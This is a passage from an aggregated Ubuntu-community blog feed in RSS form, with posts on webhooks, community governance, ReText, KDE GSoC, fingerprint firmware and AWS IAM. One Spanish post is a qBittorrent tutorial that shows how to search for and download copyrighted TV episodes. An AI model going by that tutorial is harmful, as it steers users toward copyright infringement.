<p>You can simply use the <span class="caps">URL</span> <a class="reference external" href="https://janitor.debian.net/">https://janitor.debian.net/</a> as the target for hooks. There is no need to specify a secret, and the hook can either use a <span class="caps">JSON</span> or form encoding&nbsp;payload.</p>
<p>The endpoint should tell you whether it understood a webhook request, and
whether it took any action. It&#8217;s fine to submit webhooks for repositories that
the janitor does not (yet) know&nbsp;about.</p>
<div class="section" id="github-1">
<h3>GitHub</h3>
<p>For GitHub, you can do so in the <tt class="docutils literal">Webhooks</tt> section of the <tt class="docutils literal">Settings</tt> tab. Fill the form as shown below and click on <tt class="docutils literal">Add webhook</tt>:</p>
<img alt="" src="/images/github-webhook.png" />
</div>
<div class="section" id="gitlab-1">
<h3>GitLab</h3>
<p>On GitLab instances, you can find the <tt class="docutils literal">Webhooks</tt> tab under the <tt class="docutils literal">Settings</tt> menu for each repository (under the gear symbol). Fill the form in as shown below and click <tt class="docutils literal">Add Webhook</tt>:</p>
<img alt="" src="/images/gitlab-webhook.png" />
</div>
<div class="section" id="launchpad-1">
<h3>Launchpad</h3>
<p>For Launchpad, go to the repository (for Git) web view and click <tt class="docutils literal">Manage Webhooks</tt>. From there, you can add a new webhook; fill the form in as shown below and click <tt class="docutils literal">Add Webhook</tt>:</p>
<img alt="" src="/images/launchpad-webhook-git.png" />
</div>
</div>]]></description>
      <source url="https://www.jelmer.uk/feeds/tag/ubuntu.atom.xml">Jelmer Vernooij</source>
    </item>
    <item>
      <title>My first six months at the Ubuntu Community Council</title>
      <link>https://torstenfranz.wordpress.com/2021/04/25/my-first-six-months-at-the-ubuntu-community-council/</link>
      <guid isPermaLink="true">https://torstenfranz.wordpress.com/2021/04/25/my-first-six-months-at-the-ubuntu-community-council/</guid>
      <pubDate>Sun, 25 Apr 2021 15:30:00 GMT</pubDate>
      <description><![CDATA[<p class="wp-block-paragraph">Six months ago I was elected to the Ubuntu Community Council. After the first month, I wrote a text about how I <a href="https://torstenfranz.wordpress.com/2020/11/24/my-first-month-at-the-ubuntu-community-council/">experienced the first month</a>. Time flies and now six months have already passed.</p>



<p class="wp-block-paragraph">In the first few months we have been able to fill some of the councils and boards that needed to be refilled in the community. But even where this has not been possible, we have initiated new ways to ensure that we move forward on the issues. One example is the LoCo Council, which could not be filled again, but we found people who were given the task of rethinking this council and proposing new structures. This process of evaluating and rethinking this area will take some time.</p>



<p class="wp-block-paragraph">There are some issues that we have on the agenda at the moment. Some of these are general issues related to the community, but some affects individual members of the community or where there are problems.</p>



<p class="wp-block-paragraph">For some topics, we quickly realised that it makes sense to have contact persons at Canonical who can advance these topics. We were very pleased to find Monica Ayhens-Madon and Rhys Davies, two employees at Canonical, who support us in bringing topics into the organisation and also implement tasks. One consequence of this has been the <a href="https://discourse.ubuntu.com/t/re-introducing-the-community-team/21820">reactivation of the Community Team at Canonical</a>. </p>



<p class="wp-block-paragraph">One topic that we have also come across, through the staffing of the board and the update of the benefits that you get as a member, is the Ubuntu Membership. At this point I would like to advertise the community and to show your community connection with Ubuntu through a membership. If you want to do this and know what benefits you are entitled to, you can read about it in the <a href="https://wiki.ubuntu.com/Membership">Ubuntu Wiki</a>. </p>



<p class="wp-block-paragraph">There are still enough construction sites, but structurally we are already on the right track again. Since the topics are dealt with in our free time and everyone on the Community Council has other things to do, topics sometimes drag on a bit. Sometimes I&#8217;m a bit impatient, but I&#8217;m getting better at it.</p>



<p class="wp-block-paragraph">After six months, I can see that we as a Community Council have laid many building blocks and have already had some discussions where we have different approaches and thus also very different ideas. This is good for the community and leads to the different positions and opinions finding their way into the community.</p>



<p class="wp-block-paragraph">You can read about our public meetings in the <a href="https://discourse.ubuntu.com/c/community/78">Community Hub</a>. There is also the possibility, when we call for topics for our meetings, to bring in topics that we should look at in the Council, because this is important for the cooperation of the community.</p>



<p class="wp-block-paragraph">If you want to get involved in discussions about the community, you can do so at the <a href="https://discourse.ubuntu.com/">Community Hub</a>. You can also send us an email to the mailing list community-council at lists.ubuntu.com if you have a community topic on your mind. If you want to contact me: you can do so by commenting, via <a href="https://twitter.com/toddyfranz">Twitter</a> or sending a mail to me: torsten.franz at ubuntu.com</p>]]></description>
      <source url="https://torstenfranz.wordpress.com/category/planet-ubuntu/feed/?mrss=off">Torsten Franz</source>
    </item>
    <item>
      <title>ReText turns 10 years</title>
      <link>https://mitya57.me/weblog/2021/02/retext-turns-10-years.html</link>
      <guid isPermaLink="true">https://mitya57.me/weblog/2021/02/retext-turns-10-years.html</guid>
      <pubDate>Sun, 21 Feb 2021 18:30:00 GMT</pubDate>
      <description><![CDATA[<p>Exactly ten years ago, in February 2011, the <a href="https://github.com/retext-project/retext/commit/f278a6c91a5660f5">first commit</a> in ReText git
repository was made. It was just a single 364 lines Python file back then (now
the project has more than 6000 lines of Python code).</p>
<p>Since 2011, the editor migrated from SourceForge to GitHub, gained a lot of new
features, and — most importantly — now there is an active community around it,
which includes both long-time contributors and newcomers who create their first
issues or pull requests. I don’t always have enough time to reply to issues
or implement new features myself, but the community members help me with this.</p>
<p>Earlier this month, I made a new release (7.2), which adds a side panel with
directory tree (contributed by <a href="https://github.com/xgouchet">Xavier Gouchet</a>), option to fully highlight
wrapped lines (contributed by <a href="https://github.com/nihillum">nihillum</a>), ability to search in the preview
mode and much more — see the <a href="https://github.com/retext-project/retext/releases/tag/7.2.0">release page</a> on GitHub.</p>
<p><img alt="Side panel in ReText" src="/static/side-panel.png"></p>
<p>Also a new version of <a href="https://github.com/retext-project/pymarkups">PyMarkups</a> module was released, which contains all the
code for processing various markup languages. It now supports
<a href="https://pymarkups.readthedocs.io/en/latest/standard_markups.html#markdown-markup">markdown-extensions.yaml</a> files which allow specifying complex <a href="https://github.com/retext-project/retext/wiki/Markdown-extensions">extensions</a>
options and adds initial support for <a href="http://docs.mathjax.org/en/latest/upgrading/whats-new-3.0.html">MathJax 3</a>.</p>
<p>Also check out the <a href="https://github.com/retext-project/retext/releases/tag/7.1.0">release notes for 7.1</a> which was not announced on this
blog.</p>
<p>Future plans include making at least one more release this year, adding support
for <a href="https://www.qt.io/blog/qt-6.0-released">Qt 6</a>. Qt 5 support will last for at least one more year.</p>]]></description>
      <source url="http://mitya57.me/weblog/feeds/planet.atom.xml">Dmitry Shachnev</source>
    </item>
    <item>
      <title>Open Letter to KDE GSoC Students We Could Not Accept</title>
      <link>http://linuxgrandma.blogspot.com/2020/05/open-letter-to-kde-gsoc-students-we.html</link>
      <guid isPermaLink="true">http://linuxgrandma.blogspot.com/2020/05/open-letter-to-kde-gsoc-students-we.html</guid>
      <pubDate>Tue, 05 May 2020 20:38:00 GMT</pubDate>
      <description><![CDATA[<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7aRQKfe24XwgP-7AhRhOYEZooLWqzMZTB7cjpqkf3xfBdvJHViZrCzq8PhfbQnA9oSiH4momkd0y2XxuxZkFQW8DRmKYl1sjSgtPk3gBBazQ-rLZ_bNMCv2dJ7fthw4TlmXot-xEfw8g/s1600/GSoClogo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-size: large;"><img border="0" data-original-height="91" data-original-width="549" height="105" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7aRQKfe24XwgP-7AhRhOYEZooLWqzMZTB7cjpqkf3xfBdvJHViZrCzq8PhfbQnA9oSiH4momkd0y2XxuxZkFQW8DRmKYl1sjSgtPk3gBBazQ-rLZ_bNMCv2dJ7fthw4TlmXot-xEfw8g/s640/GSoClogo.png" width="640" /></span></a></div>
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">Hello students,</span><br />
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">I no longer have access to your proposal or emails, thus the open letter on my blog.</span><br />
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">If you allowed commenting before the student proposal deadline, I along with other admins and mentors tried to help you improve your proposal. Some of you took the suggestions and sharpened your presentation, fleshed out your timeline and in general created a proposal you can be proud of.</span><br />
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">If you did not allow commenting or only uploaded your proposal right before the deadline, you missed out on this mentoring opportunity, and for that I am sorry. That cut us off from a vital communication link with you.</span><br />
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">This proposal process, along with fixing some bugs and creating some commits mean that you have real experience you can take with you into the future</span><br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<span style="font-size: large;">. I hope you also learned how to use IRC/Matrix/Telegram channels to get information, and help others as well. Even if you do not continue your involvement with the KDE Community, we hope you will profit from these accomplishments, as we have.</span><br />
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">We hope that your experiences with the KDE community up to now make you want to continue to work with us, and become part of the community. Many students whom we were not able to accept previously were successfully accepted later. Some of those students now are mentoring and/or part of the administration team, which is, in our eyes, the zenith of GSoC success.</span><br />
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">Some of you we were unable to accept because we could not find suitable mentors. The GSoC team is asking us this year to have <i>three mentors per student</i>, because the world has become so uncertain in this pandemic time. So more developers who will mentor are a precious resource.</span><br />
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">Almost every single proposal we got this year is work we want and need, or we wouldn't have published "Ideas" to trigger those proposals. If you are interested in doing this work and do not need the funding and deadlines that GSoC provides, we would welcome working with you outside of GSoC. In fact, each year we have <i><b>Season of KDE</b></i> which provides some mentoring, structure and timeline and no funding. This has been very successful for most mentees. And of course all are welcome to join our worldwide army of volunteers, who code, fix bugs, triage bug reports, write, analyze, plan, administer, create graphics, art, promo copy, events, videos, tutorials, documentation, translation, internationalization, and more! It is the KDE community who makes the software, keeps it up-to-date, plans and hosts events, and engages in events planned and hosted by others.</span><br />
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">Please join the <a href="https://mail.kde.org/mailman/listinfo/kde-community">KDE-Community mail list</a> and dig in! Hope to see you at <a href="https://akademy.kde.org/2020">KDE Akademy.</a></span><br />
<span style="font-size: large;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDM73rLwrUOz4QYbC9flaMghQT7ISV9zXOBkQ_HK2RX12Yr4jXpkyPL8iw6mwpIOmdPM4Jef_pi6QxPxYrJlwjE9HjVhNl6NZeH1wY0T8b4m07ddzLZpFGwg_qRMrm_EM-miOlIjSOi5Y/s1600/KDElogo-white-blue-3000x3000.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><span style="font-size: large;"><img border="0" data-original-height="1600" data-original-width="1600" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDM73rLwrUOz4QYbC9flaMghQT7ISV9zXOBkQ_HK2RX12Yr4jXpkyPL8iw6mwpIOmdPM4Jef_pi6QxPxYrJlwjE9HjVhNl6NZeH1wY0T8b4m07ddzLZpFGwg_qRMrm_EM-miOlIjSOi5Y/s320/KDElogo-white-blue-3000x3000.png" width="320" /></span></a></div>
<div class="separator" style="clear: both; text-align: center;">
<span style="font-size: large;"><br /></span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="font-size: large;"><i>Oh hey, late update</i>: I just learned today in #gsoc that I *do* have access to all the proposals -- and names and emails! So at the very least I will send a link to this open letter to all of our prospective students. Talk to you then. -v</span></div>]]></description>
      <source url="http://linuxgrandma.blogspot.com/feeds/posts/default">Valorie Zimmerman</source>
    </item>
    <item>
      <title>Como descargar y ver series o peliculas gratis en esta Cuarentena</title>
      <link>https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/</link>
      <guid isPermaLink="true">https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/</guid>
      <pubDate>Sat, 11 Apr 2020 19:58:18 GMT</pubDate>
      <description><![CDATA[<p>En estos nuevos días en los que vivimos una situación muy fuera de lo común en el mundo quiero ayudar a aquellas personas que quieran entretenerse un poco con el <em>Septimo arte</em>.</p>
<blockquote>
<p>No entraré en detalles técnicos de como funciona <a class="link" href="https://es.wikipedia.org/wiki/BitTorrent"  target="_blank" rel="noopener"
    >BitTorrent</a> ni como es el manejo de derechos de autor, esto es absolutamente de su parte.</p>
</blockquote>
<p>Me voy a enfocar en <strong>macOS</strong>, <strong>Windows</strong> y <strong>Linux</strong>, si quieren saber como funciona en su celular con Android o iOS/iPhone pueden buscar en internet otras alternativas.</p>
<h3 id="1-instalar-el-programa-para-descargar-qbittorrent"><a href="#1-instalar-el-programa-para-descargar-qbittorrent" class="header-anchor"></a>1. Instalar el programa para descargar <a class="link" href="https://www.qbittorrent.org/"  target="_blank" rel="noopener"
    >qBittorrent</a>
</h3><p><img src="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-logo.png"
	width="100"
	height="100"
	srcset="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-logo_hu_f6c2159dd2eaced0.png 480w, https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-logo_hu_884119680a38c51f.png 1024w"
	loading="lazy"
	
		alt="qbittorrent-logo"
	
	
		class="gallery-image" 
		data-flex-grow="100"
		data-flex-basis="240px"
	
></p>
<p>Hay muchos y variados, pero este tiene lo necesario de forma sencilla.</p>
<p>Para <strong>Windows</strong> descargan el instalador haciendo <a class="link" href="https://www.fosshub.com/qBittorrent.html?dwl=qbittorrent_4.2.3_x64_setup.exe"  target="_blank" rel="noopener"
    >clic aquí</a>. Es un archivo normal de instalación, simplemente doble clic y acepten los valores por defecto.</p>
<p>Para <strong>macOS</strong> descarguen el archivo DMG haciendo <a class="link" href="https://www.fosshub.com/qBittorrent.html?dwl=qbittorrent-4.2.3.dmg"  target="_blank" rel="noopener"
    >clic aquí</a>. Abran el archivo y en la ventana que aparece arrastren el icono de Bittorrent a la carpeta azul de Aplicaciones.</p>
<p>Para <strong>Linux</strong>, si estan en <strong>Ubuntu</strong> haciendo <a class="link" href="apt://qbittorrent" >clic aquí</a> podrán instalarlo con el Centro de Software o usando una terminal <code>sudo apt install qbittorrent</code>, si estan en otra distribución pueden usar el packete Flatpack <a class="link" href="https://flathub.org/repo/appstream/org.qbittorrent.qBittorrent.flatpakref"  target="_blank" rel="noopener"
    >disponible aquí</a>.</p>
<p>Una vez instalado abran el programa qBittorrent, tendra una apariencia similar a esta. Esta esta ventana verán las descargas que realicen.</p>
<p><img src="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent.png"
	width="947"
	height="622"
	srcset="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent_hu_ef5c941732c9a954.png 480w, https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent_hu_f04ceb7a4b735cd6.png 1024w"
	loading="lazy"
	
		alt="qbittorrent"
	
	
		class="gallery-image" 
		data-flex-grow="152"
		data-flex-basis="365px"
	
></p>
<p>La última version al momento de escribir esto es la <strong>v4.2.3</strong>.</p>
<h3 id="2-configurar-el-programa-para-buscar-peliculas-y-series-de-muchas-fuentes"><a href="#2-configurar-el-programa-para-buscar-peliculas-y-series-de-muchas-fuentes" class="header-anchor"></a>2. Configurar el programa para buscar peliculas y series de muchas fuentes
</h3><p>Hay muchas partes de donde buscar peliculas o series. Para activar esto tenemos que seguir estos pasos dentro de <strong>qBittorrent</strong>:</p>
<ol>
<li>
<p>Activar la vista de búsqueda, no será posible buscar hasta no activar los plugins</p>
<p><img src="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-enable-search.png"
	width="627"
	height="362"
	srcset="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-enable-search_hu_495a0aa823be4439.png 480w, https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-enable-search_hu_8249daca5c022237.png 1024w"
	loading="lazy"
	
		alt="qbittorrent"
	
	
		class="gallery-image" 
		data-flex-grow="173"
		data-flex-basis="415px"
	
></p>
</li>
<li>
<p>Ir a la pestaña <strong>Buscar</strong> y hacer clic en el botón <strong>Plugins de búsqueda</strong></p>
<p><img src="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-search.png"
	width="814"
	height="439"
	srcset="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-search_hu_5aed9379334a7fe9.png 480w, https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-search_hu_f36ef7ae1404959b.png 1024w"
	loading="lazy"
	
		alt="qbittorrent"
	
	
		class="gallery-image" 
		data-flex-grow="185"
		data-flex-basis="445px"
	
></p>
</li>
<li>
<p>En la ventana que aparece, seleccionar la opción <strong>Buscar actualizaciones</strong>, esto actualizará y activará los plugins, no tardara más que unos segundos. Luego de esto clic en <strong>Aceptar</strong> y en el botón <strong>Cerrar</strong> para volver a la pantalla principal.</p>
<p><img src="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-plugin.png"
	width="627"
	height="411"
	srcset="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-plugin_hu_7417151559afffc.png 480w, https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-plugin_hu_6eaf975a51fc0da.png 1024w"
	loading="lazy"
	
		alt="qbittorrent"
	
	
		class="gallery-image" 
		data-flex-grow="152"
		data-flex-basis="366px"
	
></p>
</li>
</ol>
<h3 id="3-instalar-un-reproductor-de-videos-en-este-caso-vlc"><a href="#3-instalar-un-reproductor-de-videos-en-este-caso-vlc" class="header-anchor"></a>3. Instalar un reproductor de videos, en este caso <a class="link" href="https://www.videolan.org/vlc/index.html"  target="_blank" rel="noopener"
    >VLC</a>
</h3><p><img src="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/vlc-logo.png"
	width="100"
	height="141"
	srcset="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/vlc-logo_hu_695c9eec1793149.png 480w, https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/vlc-logo_hu_cf8f7160690b18b6.png 1024w"
	loading="lazy"
	
		alt="vlc-logo"
	
	
		class="gallery-image" 
		data-flex-grow="70"
		data-flex-basis="170px"
	
></p>
<p>Probablemente su computadores cuenten ya con algún reproductor de video, pero VLC permite reproducir muchos formatos de video y además tiene una funcionalidad excepcional para nuestro caso.</p>
<p>Para instalarlo solo sigan las siguientes indicaciones:</p>
<p><strong>Windows</strong>: Descargan el instalador haciendo <a class="link" href="https://get.videolan.org/vlc/3.0.9.2/win32/vlc-3.0.9.2-win32.exe"  target="_blank" rel="noopener"
    >clic aquí</a>. Es un archivo normal de instalación, simplemente doble clic y acepten los valores por defecto.</p>
<p><strong>macOS</strong>: Descarguen el archivo DMG haciendo <a class="link" href="https://get.videolan.org/vlc/3.0.9.2/macosx/vlc-3.0.9.2.dmg"  target="_blank" rel="noopener"
    >clic aquí</a>. Abran el archivo y en la ventana que aparece arrastren el icono de VLC a la carpeta azul de Aplicaciones.</p>
<p><strong>Linux</strong>: Si estan en Ubuntu haciendo <a class="link" href="apt://vlc" >clic aquí</a> para instalarlo con el Centro de Software o usando una terminal <code>sudo snap install vlc --channel=beta</code>, si estan en otra distribución pueden usar el paquete Snap <a class="link" href="snap://vlc" >disponible aquí</a> o Flatpack <a class="link" href="https://flathub.org/repo/appstream/org.videolan.VLC.flatpakref"  target="_blank" rel="noopener"
    >desde aquí</a>.</p>
<p><strong>Eso es todo! Estamos listos para descargar</strong>, ahora, ¿como lo hacemos?</p>
<h3 id="4-descargando-y-reproduciendo-la-pelicula-o-serie"><a href="#4-descargando-y-reproduciendo-la-pelicula-o-serie" class="header-anchor"></a>4. Descargando y reproduciendo la pelicula o serie
</h3><p>Ya con todo listo tendremos que seguir los ¡siguientes pasos para descargar y reproducir la película o serie que queramos.</p>
<ol>
<li>
<p>Abrir <em>qBittorrent</em>, ir a la pestaña <strong>Buscar</strong> y luego en este ejemplo busque <em>Night of the Living Dead</em>, una pelicula de dominio público del año 1968.</p>
<blockquote>
<p>Consejo #1: Dado que salen muchos resultados organicen la vista en la sección <strong>Semillas</strong> para buscar las películas con más fuentes y que descargaran más rápido)</p>
</blockquote>
<p><img src="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-results.png"
	width="733"
	height="397"
	srcset="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-results_hu_107698bb0a6d596d.png 480w, https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-results_hu_7e761ec988183c1f.png 1024w"
	loading="lazy"
	
		alt="qbittorrent"
	
	
		class="gallery-image" 
		data-flex-grow="184"
		data-flex-basis="443px"
	
></p>
<blockquote>
<p>Consejo # 2: Para buscar temporadas o episodios pueden añadir a la búsqueda la siguiente información, S<strong>AA</strong> y E<strong>BB</strong>. Donde <em>AA</em> se refiere al número de Temporada (Season) deseada y <em>BB</em> al número del Capítulo deseado.
<strong>Ejemplo de busqueda</strong>: <em><strong>Game of Thrones S02 E04</strong></em> buscará el Capítulo 04 de la Temporada 02 de Game of Thrones.</p>
</blockquote>
</li>
<li>
<p>Haciendo doble clic sobre el resultado que deseen descargar iniciará la misma, aparecerá una ventana similar a esta, pueden cambiar la ruta de la descarga</p>
<p><img src="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-download.png"
	width="911"
	height="665"
	srcset="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-download_hu_f92efc37bb08b08a.png 480w, https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-download_hu_bf52306a4850e291.png 1024w"
	loading="lazy"
	
		alt="qbittorrent"
	
	
		class="gallery-image" 
		data-flex-grow="136"
		data-flex-basis="328px"
	
></p>
</li>
<li>
<p>La descarga empezará y podrán ver el progreso de la descarga</p>
<p><img src="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-progress.png"
	width="1065"
	height="266"
	srcset="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-progress_hu_e558f52f933abfec.png 480w, https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/qbittorrent-progress_hu_398e2e9179ddc4cc.png 1024w"
	loading="lazy"
	
		alt="qbittorrent"
	
	
		class="gallery-image" 
		data-flex-grow="400"
		data-flex-basis="960px"
	
></p>
</li>
<li>
<p>Una vez terminada la descarga abran el archivo con <strong>VLC</strong>. Su película empezará!</p>
<p><img src="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/vlc-playing.png"
	width="511"
	height="419"
	srcset="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/vlc-playing_hu_a74841458370a264.png 480w, https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/vlc-playing_hu_9fad097f55859c40.png 1024w"
	loading="lazy"
	
		alt="vlc-playing"
	
	
		class="gallery-image" 
		data-flex-grow="121"
		data-flex-basis="292px"
	
></p>
</li>
<li>
<p>La mayoría de veces que descargamos películas de esta forma estarán en su idioma original, si queremos poner <strong>subtítulos</strong> podemos usar la función de <strong>VLC</strong> llamada <strong>VLSub</strong>, que busca, descarga y activa los subtítulos que queramos.</p>
<p>Esto lo podemos encontrar en el siguiente menú dependiendo del Sistema Operativo:</p>
<p>Windows/Linux: <em>Ver -&gt; VLsub</em></p>
<p><img src="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/vlc-vlsub-linux.png"
	width="597"
	height="316"
	srcset="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/vlc-vlsub-linux_hu_72b3d6406bda147a.png 480w, https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/vlc-vlsub-linux_hu_8293fa5a59857d66.png 1024w"
	loading="lazy"
	
		alt="vlc-vlsub-linux-windows"
	
	
		class="gallery-image" 
		data-flex-grow="188"
		data-flex-basis="453px"
	
></p>
<p>macOS: <em>VLC -&gt; Extensiones -&gt; VLsub</em></p>
<p><img src="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/vlc-vlsub-macos.png"
	width="465"
	height="352"
	srcset="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/vlc-vlsub-macos_hu_4cc6f64bb4d70487.png 480w, https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/vlc-vlsub-macos_hu_941ff25f86651414.png 1024w"
	loading="lazy"
	
		alt="vlc-vlsub-macos"
	
	
		class="gallery-image" 
		data-flex-grow="132"
		data-flex-basis="317px"
	
></p>
<p>Y luego en la pantalla de VLsub buscar el subtítulo (Recomiendo la opción <strong>Search by Hash</strong>) y descargarlo. Automáticamente el subtítulo se aplicará a su video!</p>
<p><img src="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/vlc-vlsub.png"
	width="558"
	height="383"
	srcset="https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/vlc-vlsub_hu_a859cb62bb229f1e.png 480w, https://desentropia.com/2020/04/11/como-descargar-y-ver-series-o-peliculas-gratis-en-esta-cuarentena/vlc-vlsub_hu_4928eeb863e1b346.png 1024w"
	loading="lazy"
	
		alt="vlc-vlsub"
	
	
		class="gallery-image" 
		data-flex-grow="145"
		data-flex-basis="349px"
	
></p>
</li>
</ol>
<p><strong>Y listo!</strong></p>
<p>Haciendo un poco de reflexión, se que usar un servicio de streaming es mucho más comodo y que seguir los anteriores pasos puede ser tedioso, me parece mejor suscribirse a una alternativa de tantas, parte de este recaudo llegará a todos los involucrados en la realización de una serie (yo personalmente pago una suscripción). Hay varias alternativas como <a class="link" href="https://netflix.com/"  target="_blank" rel="noopener"
    >Netflix</a>, <a class="link" href="https://www.primevideo.com/"  target="_blank" rel="noopener"
    >Amazon Prime Video</a>, <a class="link" href="https://www.apple.com/apple-tv-plus/"  target="_blank" rel="noopener"
    >Apple TV+</a>, <a class="link" href="https://www.disneyplus.com/"  target="_blank" rel="noopener"
    >Disney Plus</a>, <a class="link" href="https://www.hbogola.com/"  target="_blank" rel="noopener"
    >HBO Go</a>, etc.</p>
<p>Sin embargo, tambien he visto como las producciones empiezan a tener mucha exclusividad entre las plataformas, lo que hace difícil encontrar series o películas en el servicio que uno esta pagando, o que hayan otras prioridades en los gastos, por eso espero que este tutorial les sirva de ayuda.</p>
<p>Si tienen alguna duda, recomendación o problema no duden en escribir un comentario aca abajo o contactenme en mis redes sociales!</p>]]></description>
      <source url="https://desentropia.com/tags/ubuntu/index.xml">Julian Alarcon</source>
    </item>
    <item>
      <title>Fingerprint Reader Support for Lenovo x390Y on Ubuntu</title>
      <link>http://blog.sergiusens.org/posts/fingerprint-reader-support-for-lenovo-x390y-on-ubuntu/</link>
      <guid isPermaLink="true">http://blog.sergiusens.org/posts/fingerprint-reader-support-for-lenovo-x390y-on-ubuntu/</guid>
      <pubDate>Sat, 28 Mar 2020 22:38:02 GMT</pubDate>
      <description><![CDATA[This is experimental, but I went ahead and ran the following after reading about it on reddit. snap install fwupdmgr /snap/bin/fwupdmgr install https://fwupd.org/downloads/cbe7b45a2591e9d149e00cd4bbf0ccbe5bb95da7-Synaptics-Prometheus_Config-0021.cab /snap/bin/fwupdmgr install https://fwupd.org/downloads/3b5102b3430329a10a3636b4a594fc3dd2bfdc09-Synaptics-Prometheus-10.02.3110269.cab   These two cab files are referenced from:    https://fwupd.org/lvfs/devices/com.synaptics.prometheus.config    https://fwupd.org/lvfs/devices/com.synaptics.prometheus.firmware    Rebooted and then went ahead with the actual fingerprint setup:  After this was all done, login with fingerprints just worked. The only downside is that you need to press a key first to bring up the unlock logic.]]></description>
      <source url="http://blog.sergiusens.org/categories/ubuntu/index.xml">Sergio Schvezov</source>
    </item>
    <item>
      <title>Creating AWS IAM Access Analyzers In All Regions Of All Accounts</title>
      <link>https://alestic.com/2020/01/aws-iam-access-analyzer/</link>
      <guid isPermaLink="true">https://alestic.com/2020/01/aws-iam-access-analyzer/</guid>
      <pubDate>Mon, 06 Jan 2020 08:01:00 GMT</pubDate>
      <description><![CDATA[<p>Amazon recently announced the <a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/what-is-access-analyzer.html">AWS IAM Access Analyzer</a>,
a useful tool to help discover if you have granted unintended access
to specific types of resources in your AWS account.</p>
<p>At the moment, an Access Analyzer needs to be created in each region
of each account where you want to run it.</p>
